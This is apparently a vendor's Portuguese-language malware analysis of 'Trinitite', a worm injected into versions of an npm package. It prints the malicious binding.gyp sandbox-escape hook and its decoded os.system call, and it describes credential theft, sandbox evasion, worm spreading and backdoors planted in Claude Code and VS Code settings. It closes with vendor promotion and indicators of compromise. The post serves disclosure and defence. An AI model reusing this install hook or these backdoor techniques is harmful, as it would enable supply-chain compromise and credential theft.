Ainda só passou um dia desde que soubemos a notícia de Membros da TeamPCP detidos na Austrália, e detetámos agora um novo malware semelhante ao TeamPCP que está a afetar 10 versões de um pacote npm popular chamado @7nohe/openapi-react-query-codegen (+150 000 downloads semanais). Todas estas versões foram publicadas no npm num intervalo de 20 minutos. O pacote em questão gera hooks de consulta TanStack com segurança de tipos diretamente a partir de um esquema OpenAPI, poupando aos programadores o trabalho de escrever manualmente código repetitivo.
O malware autodenomina-se «Trinitite: Patrocinado pela Preview 2 Effects». A trinitite é o material vítreo que fica no solo do deserto após uma detonação nuclear. As versões anteriores da carga útil faziam referência a um script cujo nome era, literalmente, is_it_this_simple.js, o que resume bem a atitude.
Ainda não é claro se estamos perante um imitador, um ex-membro que escapou às detenções ou um agente malicioso totalmente distinto. Quem quer que esteja por trás deste ataque, partilha claramente com o TeamPCP o gosto pelo espetáculo.
Tanto o pacote npm como o respetivo repositório no GitHub parecem ter sido comprometidos. O atacante obteve acesso ao explorar uma vulnerabilidade num dos fluxos de trabalho do GitHub Actions do projeto. Por conseguinte, todas as versões vêm acompanhadas de atestados de proveniência válidos. Trata-se de certificados criptográficos que comprovam que o pacote foi compilado pelo fluxo de trabalho oficial do GitHub Actions. No entanto, quando o próprio fluxo de trabalho é comprometido, esse certificado deixa de ser um sinal de confiança fiável.
A sandbox do binding.gyp escape
O gancho de execução inicial é binding.gyp, um ficheiro normalmente utilizado para configurar a compilação de complementos nativos do Node.js. Fiquei um pouco surpreendido ao ver este truque específico a ser utilizado aqui, tendo em conta que eu já tinha dado a conhecer esta classe de vulnerabilidades no início deste ano. A técnica parece estar a ganhar popularidade.
Quando npm install processa uma embalagem que contém um binding.gyp, invoca node-gyp para compilar o módulo nativo. node-gyp avalia o condições campo no ficheiro utilizando Python, o que significa que é possível inserir aí expressões Python arbitrárias, as quais serão executadas durante a instalação, mesmo sem qualquer preinstall script declarado em package.json.
O binding.gyp neste pacote tem o seguinte aspeto:
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}A expressão condicional é uma sandbox de Python escape que utiliza o catch_warnings classe, à qual se acede percorrendo a hierarquia de classes a partir de (). Depois de descodificados, os caracteres Unicode e os códigos de escape hexadecimais traduzem-se no seguinte:
[c para c em ().__class__.__base__.__subclasses__() se c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')Identifica o catch_warnings classe através da árvore de subclasses interna do Python, utiliza-a para aceder a __builtins__, importações os, e chamadas os.system() para executar o código principal com o Node. O type o campo está codificado em hexadecimal nenhum por isso, não é tentada qualquer compilação nativa propriamente dita, e o nome do destino Frot não faz sentido. Todo o ficheiro existe apenas para executar um comando do shell.
É importante referir que nem todas as versões comprometidas recorrem a este truque. As duas versões de pré-lançamento utilizam um método simples preinstall em vez disso, o script. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab executa node nu.js diretamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be descarregamentos do Bun através de wget encaminhado para bash e, em seguida, executa is_it_this_simple.js.
Dito isto, as versões comprometidas subsequentes foram ainda mais longe e adicionaram ambos os vetores em simultâneo, combinando o binding.gyp truque com um explícito "preinstall": "node 3FWCvzduYZg.js" um guião, já agora.
Ofuscação e contorno de sandboxes
3FWCvzduYZg.js é um ficheiro de uma única linha com 5,4 MB, localizado na raiz do pacote. O ficheiro utiliza quatro camadas de encriptação. A camada mais exterior é uma matriz de inteiros com 1,6 milhões de elementos, submetida a uma operação XOR com a chave 29. A desencriptação resulta num script que descarrega o ambiente de execução do Bun de forma silenciosa (como trinnyyyy-XXXXX (no diretório temporário do sistema) e utiliza-o para executar a carga útil real, que se encontra encriptada com AES-128-GCM no seu interior. A carga útil interna consiste em mais 800 KB de JavaScript ofuscado, utilizando uma cifra personalizada de tabela aleatória, para além das transformações padrão do obfuscator.io. Uma vez totalmente desencriptada e desofuscada, contém um programa de recolha de credenciais, um worm e um comando destrutivo.
Antes de fazer qualquer coisa, o código malicioso verifica várias condições e encerra-se silenciosamente se alguma delas for verificada:
- A configuração regional do sistema é o russo (verifica
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LÍNGUA,LANG) - CrowdStrike, se os diretórios SentinelOne ou CarbonBlack estiverem presentes
- O diretório de trabalho começa com
/tmp/npm-safe/ou/opt/hscan-supplychain-dynamic/ - As variáveis de ambiente contêm prefixos conhecidos de credenciais falsas utilizados por programas de análise de segurança (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-falso,ghp_decoyGitHubToken) - O
GITHUB_REPOSITORY_OWNERé uma das várias contas conhecidas de investigadores na área da segurança (ações-segurança-demonstração,h0x0er,varunsh-coder,rohan-stepsecurity) - A ferramenta «harden-runner» da StepSecurity está ativa
O que ele rouba
A carga útil visa uma vasta gama de credenciais, abrangendo plataformas na nuvem, ferramentas de desenvolvimento e ficheiros locais.
tokens do GitHub
Procura PATs clássicos (gh[op]_...) e tokens de granularidade fina (github_pat_...) em variáveis de ambiente e ficheiros locais. Nos executores do GitHub Actions, também solicita um token OIDC através de ACTIONS_ID_TOKEN_REQUEST_TOKEN e ACTIONS_ID_TOKEN_REQUEST_URL.
Tokens do npm, PyPI e RubyGems
Lê ~/.npmrc e procura por mais .npmrc ficheiros. Extraia os tokens de portador e valide-os em relação a registry.npmjs[.]org/-/whoami. Destina-se aos tokens do PyPI (pypi-AgEIcHlwaS5vcmcCJ...) e tokens do RubyGems (rubygems_...) pelo mesmo método.
Credenciais AWS
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN, e dez variáveis de ambiente relacionadas~/.aws/credentialse~/.aws/config- Serviço de Metadados de Instâncias EC2 em
169[.]254[.]169[.]254, experimentando primeiro o IMDSv2 - Ponto de acesso container do ECS em
169[.]254[.]170[.]2 - Chamadas
sts:GetCallerIdentitypara verificar as credenciais antes de proceder à exfiltração
Credenciais do Azure
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID, e ficheiro de tokens federados- Ponto de extremidade da identidade gerida do Azure IMDS
- Aceda ao Azure Key Vault, ao Azure Resource Manager e à API do Microsoft Graph após a autenticação
Credenciais do GCP
GOOGLE_APPLICATION_CREDENTIALSficheiro JSON da conta de serviço- Servidor de metadados do GCP em
metadata[.]google[.]internal - Google Secret Manager, assim que for obtido um token
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Enumera secrets através de
/api/v1/system/me,/secrets,/api/v1/namespaces
Kubernetes
- Token da conta de serviço em
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGe~/.kube/config/etc/rancher/k3s/k3s.yaml
Análise do sistema de ficheiros (mais de 150 padrões glob)
- Todas as chaves privadas SSH:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Carteiras de criptomoedas:
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Dados de sessões de mensagens: Signal, Telegram Desktop, Discord, Slack, Element
- Configurações de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI:
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - Domínios e tokens do JFrog Artifactory
Exfiltração
Depois de recolhidas as credenciais, a carga útil necessita de um repositório do GitHub para as carregar. Tal como em ataques anteriores semelhantes ao Miasma, o programa procura primeiro no histórico público de commits do GitHub os commits cuja mensagem corresponda a "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Descodifica o token incorporado e utiliza essa conta para criar o repositório de exfiltração. Isto significa que os dados roubados a uma vítima acabam num repositório que pertence a um utilizador diferente.
O nome do repositório é gerado através da combinação de dois elementos escolhidos aleatoriamente Projeto Touhou nomes de personagens com um número aleatório, por exemplo cirno-marisa-74291 ou reimu-kogasa-12048. A descrição do repositório está definida como «Trinitite: Patrocinado pela Preview 2 Effects», e é assim que se pode identificar repositórios de exfiltração em ambiente real:

As credenciais roubadas são guardadas como ficheiros JSON encriptados com os nomes doubletrinnys-{contador}-{data e hora}.json dentro de um resultados/ diretório. Cada ficheiro contém dois campos: envelope, o pacote de credenciais encriptadas e chave, a própria chave de encriptação está encriptada com a chave pública RSA do atacante. Apenas o atacante, que possui a chave privada correspondente, pode desencriptar o conteúdo. Os dados encontram-se à vista de todos nos repositórios públicos do GitHub, mas são ilegíveis para qualquer outra pessoa. Curiosamente, a maioria das mensagens de commit diz simplesmente "miau, miau, miau".
Propagação de worm
O Trinitite utiliza tokens roubados para se propagar para outros pacotes e repositórios.
npm, PyPI e RubyGems
Com um token npm roubado, a carga útil chama registry.npmjs[.]org/-/npm/v1/tokens para encontrar o token de publicação com o nível de privilégio mais elevado e, em seguida, consultar /v1/search?text=maintainer:{user} para enumerar todos os pacotes de que o responsável é proprietário. O programa obtém o ficheiro tar atual de cada pacote e insere um novo binding.gyp que contém a mesma sandbox do Python escape, insere uma cópia de 3FWCvzduYZg.js, e publica uma nova versão. O mesmo procedimento aplica-se ao PyPI (através de upload.pypi[.]org/legacy/) e RubyGems (através de rubygems[.]org/api/v1/gems). Todos os pedidos de publicação utilizam {tls: {rejectUnauthorized: false}} para contornar a restrição de certificados.
Adulteração de repositórios do GitHub
Com um token do GitHub roubado, a carga útil enumera todos os repositórios e ramos acessíveis, ignorando os ramos cujo nome comece por comunicado/, dependabot/, renovar/, e copiloto/. Para cada ramo, efetua o commit dos seguintes ficheiros:
.vscode/tasks.jsoncom uma configuração do executor de tarefas que contém uma porta traseira.claude/settings.jsoncom umInício da sessãogancho que executasetup.mjssempre que um programador abre o projeto no Claude Code.claude/setup.mjsque contém a carga útil secundária.vscode/setup.mjsque contém o mesmo.github/workflows/codeql.yml, um fluxo de trabalho de segurança falso do CodeQL que funciona também como uma porta traseira.gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Cada commit é atribuído a github-actions com a mensagem "tarefa: atualizar dependências" e um skip-checks:true reboque para contornar as verificações de estado obrigatórias.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento (IOCs)
Versões do pacote
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Arquivos
3FWCvzduYZg.jspresente na raiz do pacote- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Diretórios temporários com os nomes
trinnyyyy-seguido de 6 caracteres alfanuméricos aleatórios (por exemplo,trinnyyyy-a3f9k2) na pasta «temp» do sistema

